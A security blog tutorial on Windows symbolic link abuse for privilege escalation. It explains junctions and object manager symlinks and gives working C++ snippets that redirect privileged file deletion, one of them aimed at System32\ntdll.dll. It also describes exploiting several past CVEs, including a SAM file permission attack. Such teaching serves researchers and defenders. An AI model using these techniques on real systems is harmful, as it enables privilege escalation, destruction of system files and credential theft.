Understanding and Exploiting Symbolic links in Windows - Symlink Attack EOP

Symbolic link can be abused to cause elevation of privilege or arbitrary write/delete. In this article we are going to understand symlink and will learn how to exploit/abuse them.

11 min read
Understanding and Exploiting Symbolic links in Windows - Symlink Attack EOP

Symbolic link based exploitation in windows is here since few years and researched in depth by enough researchers like James Forshaw. The major benefit of these attacks is that its still widely used for elevation of privilege related vulnerability and every year tons or cve's are abused using this technique.

Although the topic is known and been researched before but you will still find the lacks of details available online on the background of this attack and steps to follow to successfully find and execute symlink exploitation. Not to forget that it may get tricky to exploit many scenarios you may come across to abusing symlink if you don't have basic idea about working of symbolic link in windows.

In this article I will cover following things: basics of symbolic link in windows, exploit a basic sample scenario and look into some past cve's that have symlink based attack for better understanding.

If you have used *nix based systems then you must have heard or used  symbolic link many times. Symbolic link is also present in windows but is not very popular and there since very long. To start with defination, a symbolic link is a type of file/directory or anything else that is actually a reference(or pointer) to another file/directory etc. For example if you create a symbolic link of a file named myfile.txt with name sym_myfile.txt then when you are going to open sym_myfile.txt, you will see the content of myfile.txt. A simple google search will give you lots of resource to get understanding of symbolic link.But here we need to know about types of symbolic link(or links) present specifically in windows subsystem.

NTFS Symbolic Links

This is the most recent symbolic link implemented in windows system, introduced in windows vista. It is used to link one file to another file in the filesystem. Windows provide mklink command to create a NTFS symbolic link.

using mklink to create NTFS symbolic link

Using mklink we have created the symbolic link(link_myfile.txt) for the target file(myfile.txt). Similarly, you can use CreateSymbolicLinkapi call to create this type of symbolic link from your program.

BOOLEAN CreateSymbolicLinkA(
  LPCSTR lpSymlinkFileName,
  LPCSTR lpTargetFileName,
  DWORD  dwFlags
);

The major drawback for using NTFS symbolic link in privilege escalation  is that NTFS symlink require admin privilege on their own to create a link, making them useless for most cases.

NTFS Mount Points/ Directory Junctions

Mount point or directory junctions are other type of symlink used for linking directories rather than files. To create the directory junction the link directory need to be empty and user should have write handle to the parent directory. Again, mklink can be used to create a directory junction.

mount point/ directory junction example

Here, I have created a directory link(systest) of the target directory location(C:\Windows\System32). Similarly, you can use DeviceIoControl api call with FSCTL_SET_REPARSE_POINT as second parameter to create this type of directory junction from your program.

BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

You can notice that I am able to create directory junction of any target location(even if the user doesn't have the privilege to write to the target) until the symlink parent directory (C:\Users\0day\cs) is writable by the current user. Note that mount point or directory junction doesn't require admin privilege to execute, which make it very usable for abusing symbolic link for privilege escalation and other scenario.

Registry Key Symbolic Links

Registry key symbolic links are another type of symbolic link used for links between keys in registry. Windows doesn't provide any default command line tool to create registry symlink but you can use any external tool to archive that. But windows provide an undocumented api NtCreateKey for this.

A non privilege user is not allowed to create registry key symlink with target key present in high privilege hive like HKLM. This type of symlink are mostly used for registry based privilege escalations only.

Object Manager Symbolic Links

The final type of symbolic link present in windows is object manager symbolic link. Before getting more into that lets see what an object manager and objects are in windows.

Objects and Object manager:  Windows keep track of all the resources using a logical object, each reside in a namespace for categorization. Resources can be physical devices, files or folders on volumes, Registry entries or even running processes. All objects representing resources have an Object Type  property and other metadata about the resource. Object Manager is a  shared resource where all these namespaces with their respective resource are present, and all subsystems that deal with the resources have to  pass through the Object Manager.

For example, the C: directory, for instance, is not a real directory on disk. Instead, the C: directory is a symbolic link object in the object manager namespace, which is isolated from the regular file system. It actually is located in the \Global?? object directory.  You can use Winobj tool from sysinternal suite to view the object manager.

You can see the C: been symbolic link inside GLOBAL?? namespace.

Coming to object manager symbolic link, its there to link any resource in these namespaces. It is possible to create these symbolic link as a low privileged user, as long as you have access to the target object manager namespace.
Windows provide NtCreateDirectoryObject and NtCreateSymbolicLinkObject to create a symbolic link in object manager. Also, api's like DefineDosDevice can be used to create a specific dos device object symbolic link(in GLOBAL?? namespace) of a directory.

As already mentioned, to create a object symbolic link, you do not need admin rights, a fact that makes it useful for abusing symlinks to get elevation of privilege.

It is impotent to note that a regular user is limited in the creation  and deletion of symbolic links in the object manager. He can’t create  or delete new symlinks under most object directories, such as the \Driver or \Global?? directories. Often, we use \RPC Control namespace to put our symlink for exploitation.  

We have already went through the basic of symbolic link in windows. Now is the time to get into scenarios/cases of abusing symbolic link to get elevation of privilege.

To follow this section with me, you need to clone the template project from here: Symbolic link Template

Setup:
For demo, I am creating a parent directory sym_testing in my user directory.

  • Inside sym_testing, I am creating two directories target and test directory.
  • Inside both target and test, I am creating a sample file config.txt and put some content on that.
  • Lastly, I am creating a dont_delete.txt in sym_testing.
directory structure

Now, lets assume a privilege user(Administrator or System) is trying to delete the file sym_testing\test\config.txt through a powershell command del C:\Users\0day\sym_testing\test\config.txt. Let's see how can we use redirect the deletion to an arbitrary file using symlinks as a non privilege user.

Task 1: Using symlink to delete target\config.txt

For this, load the project mention above in Visual studio and in main() function create mount point of target to test.

    OFSTRUCT openstruct;
    HFILE openhandle;
    // empty the test folder first
    openhandle = OpenFile("C:\\Users\\0day\\sym_testing\\test\\config.txt", &openstruct, 0x00000200);
    if (openhandle == HFILE_ERROR) {
        std::cout << "[+] Delete file fails \n";
    }
    CloseHandle(&openstruct);
    
    if (!ReparsePoint::CreateMountPoint(L"C:\\Users\\0day\\sym_testing\\test", L"C:\\Users\\0day\\sym_testing\\target", L""))
    {
        printf("[+] Mounting failed \n");
    }
    else {
        std::cout << "Mount point created successfully\n";
    }

To redirect the deletion of target\config.txt we need to mount the test directory to target. But that is only possible when the test is empty. Hence, In code we are first deleting the config.txt first using OpenFile.

Now if some program will try to delete test\config.txt the system will reparse the path of test to target and target\config.txt will get deleted.

Task 2: Using symlink to delete dont_delete.txt file

The above condition has limitation that only you are allowed for deletion of file with name config.txt, which is not arbitrary delete. So, this time we will try to delete arbitrary file ( sym_testing\dont_delete.txt).

For that we need to create a symlink of dont_delete.txt to \\RPC Control object. Then mount \\RPC Control to \test\ directory.

Note: Other solution that you may think about is creating a direct symlink between dont_delete.txt and test\config.txt but the issue is direct symlink require admin privilege but object symlink doesn't.
OFSTRUCT openstruct;
    HFILE openhandle;
    // empty the test folder first
    openhandle = OpenFile("C:\\Users\\0day\\sym_testing\\test\\config.txt", &openstruct, 0x00000200);
    if (openhandle == HFILE_ERROR) {
        std::cout << "[+] Delete file fails \n";
    }
    CloseHandle(&openstruct);

HANDLE hret = CreateSymlink(nullptr, L"\\RPC Control\\config.txt", L"\\??\\C:\\Users\\0day\\sym_testing\\dont_delete.txt");
    if ((NULL) == hret || (hret == INVALID_HANDLE_VALUE))
    {
        printf("[-] Failed creating symlink index %d ", GetLastError());
        return 0;
    }
    else {
        std::cout << "Symbolic link created successfully\n";
    }
   
    if (!ReparsePoint::CreateMountPoint(L"C:\\Users\\0day\\sym_testing\\test", L"\\RPC Control", L""))
    {
        printf("[+] Big Faiiilll \n");
    }
    else {
        std::cout << "Mount point created successfully\n";
    }

You can confirm this in Process Monitor.

Keep note of the prefix we used \?? before the path in CreateSymlink function to tell the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system.

How these conditions cause EOP?

These condition can cause the elevation of privilege or mostly in general arbitrary write, delete or arbitrary file ACL modification, when some program running with high privilege opens/access a file(for example in location User\[User]\AppData) as SYSTEM user without impersonate normal user and the normal user has write access to that location and parent directory. Then the normal user can use symlink to reparse that file to point to some other file with high access privilege file (like C:\Windows\System32\somedll.dll) and cause the arbitrary write, delete etc on later file.

To understand more about this, lets look into some previous CVE's that are abused by using symbolic links.

CVE-2019-1161 (Arbitary file deletion)

The Windows anti-malware solution, Windows Defender, which has been  installed on every version of Windows since Windows 7, is responsible  for protecting the system from malware. Windows Defender runs in the  context of NT AUTHORITY\SYSTEM and spawns a process named MpSigStub.exe, both of which are used by the Windows update service.

When you use Automatic Windows Updates or install a stand-alone  installer, the update package is automatically extracted into a  temporary directory. This operation is performed by the MpSigStub.exe installer (local system privileges). After the update is extracted in the temp folder, MpSigStub.exe will perform various checkups to determine if the extracted files are ready to be applied. Finally, it will delete the file.

In our case, we identified that the MpSigStub service tries to write and delete a file in the %localAppData% directory: C:\Users\user\AppData\Local\Temp\MPTelemetrySubmit\client_menifest.txt. Clearly, we can use symlink here to cause an arbitrary delete.

The first step in a successful symlink attack is creating a junction. In this case, we create a junction on C:\Users\user\AppData\Local\Temp\MPTelemetrySubmit that points to \RPC Control.

The next step is just creating an object manager symlink from the “txt” file client_menifest.txt to any desired location on the disk. The code for this should look like this.


HANDLE hret = CreateSymlink(nullptr, L"\\RPC Control\\client_menifest.txt", L"\\??\\C:\\Windows\\System32\\ntdll.dll");
    if ((NULL) == hret || (hret == INVALID_HANDLE_VALUE))
    {
        printf("[-] Failed creating symlink index %d ", GetLastError());
        return 0;
    }
    else {
        std::cout << "Symbolic link created successfully\n";
    }
   
    if (!ReparsePoint::CreateMountPoint(L"C:\\Users\\user\\AppData\\Local\\Temp\\MPTelemetrySubmit", L"\\RPC Control", L""))
    {
        printf("[+] Big Faiiilll \n");
    }
    else {
        std::cout << "Mount point created successfully\n";
    }

Keeping up with program flow

One noticeable problem in exploiting these conditions is following: The program first create the directory/file and then try to write/delete it as a SYSTEM user. So, for successful exploitation the attacker have to perform the mounting and symlink after the file is created and before the file is deleted. For this attacker has a limited time frame hence a race condition to win.

An easy solution for this is setting the file oplock using SetOpLock on the file, so when user will open the file, the lock get trigger and you will get to know some operation has been performed on the file. Then you can release the lock and perform your actions.

More on Oplock(source): Opportunistic locks are normally used to give an application time to  stop its operations on a file, if another process requests a conflicting  access to the file. This could for example be a background backup  service backing off during an ongoing file read, if another process  attempts to write to the same file. An opportunistic lock can be set up  to block the new process’ access and give the backup service time to  stop its operation and close the file. The process trying to open the file for writing will then proceed as normal, not knowing that it has  been temporarily blocked. Without an opportunistic lock, the writing  process would have received a SHARING_VIOLATION and would have needed to  handle this scenario.

CVE-2020-0683 (EOP or Information disclosure)

This issue occur in Windows Installer ( msiexec.exe).  The Microsoft Windows  Installer permits under  some circumstances to a “standard user”an arbitrary permissions and content  overwrite with SYSTEM privileges.

After a package is installed using msiexec.exe on the system, a “standard user” could force a repair of the product with “/f” command line parameter. As SYSTEM, the  “Windows Installer service” try to set the permissions of the package files that  are going to be reinstalled. While repair,the first time “Windows Installer service” tries to open one the files impersonating the “standard user” but as a result it gets a PRIVILEGE NOT HELD, then,after that,  it closes the file and reopens it as SYSTEM without  impersonating! Afterward it continues  to set the permissions  of the file as SYSTEM and writes its content. Then later, it change the permission back to normal using SetFileSecurity.

Clearly between the time frame when the file is open as SYSTEM and DACL is restored, there is a chance of race condition where an attacker can  symbolic link that file to some other file having SYSTEM previlege. This will make msiexec.exe to change DACL of that linked file rather then the default one.

This vulenability can cause EOP if the attacker symlink a executable file, which will give him access write to replace that file to arbitary executable and can cause other program to use that modified exe.

Similarly, attacker can symlink a SAM file to change its access rights and access the NTLM credentials of the machine.

Full description and POC available here: https://github.com/padovah4ck/CVE-2020-0683

CVE-2019-19793 (Dll injection)

The issue exist in AppGate SDP. AppGate SDP (Software Defined Perimeter) is a security platform enabling  network administrators to establish fine-grained access control to  network services. As part of the application, software needs to be deployed to the  Windows clients intended to access servers protected by SDP. This client  software contains a component to facilitate updates to the application.  Since the deployment of updates needs to occur with administrative  privileges, the service runs as SYSTEM.  

For update of AppGate, appgate update service open and evoke AppGate SDP Updater UI.exe with SYSTEM privilege. The path where the application is stored is user accessed location.

Clearly, between the time when the `AppGate SDP Updater UI.exe is opened and the process is create we can symbolic link that executable to another executable to cause privilege esclaration.

But as an alternative we can cause a dll injection also. Since we can specify the path to the update executable, and it is executed  from that path, we might have an option to place a malicious dll in the  same folder, and have it loaded by the signed executable. Attacker can pick any dll which is required by AppGate SDP updater UI (like VERSION.dll) and place the malicious dll with same name on the linked directory.

More info and POC avaliable here: https://danishcyberdefence.dk/blog/appgate_part1

There are tons of cve's that are abused using symbolic links. Few other you can look into:

  • CVE-2019-1142
  • CVE-2015-1743
  • CVE-2019-11396
  • CVE-2020-0863
  • CVE-2019-3582

Thats it for this part of article. In next part we will try to exploit our own vulnerabilty using symbolic link and will look into mitigations/detections of such issues.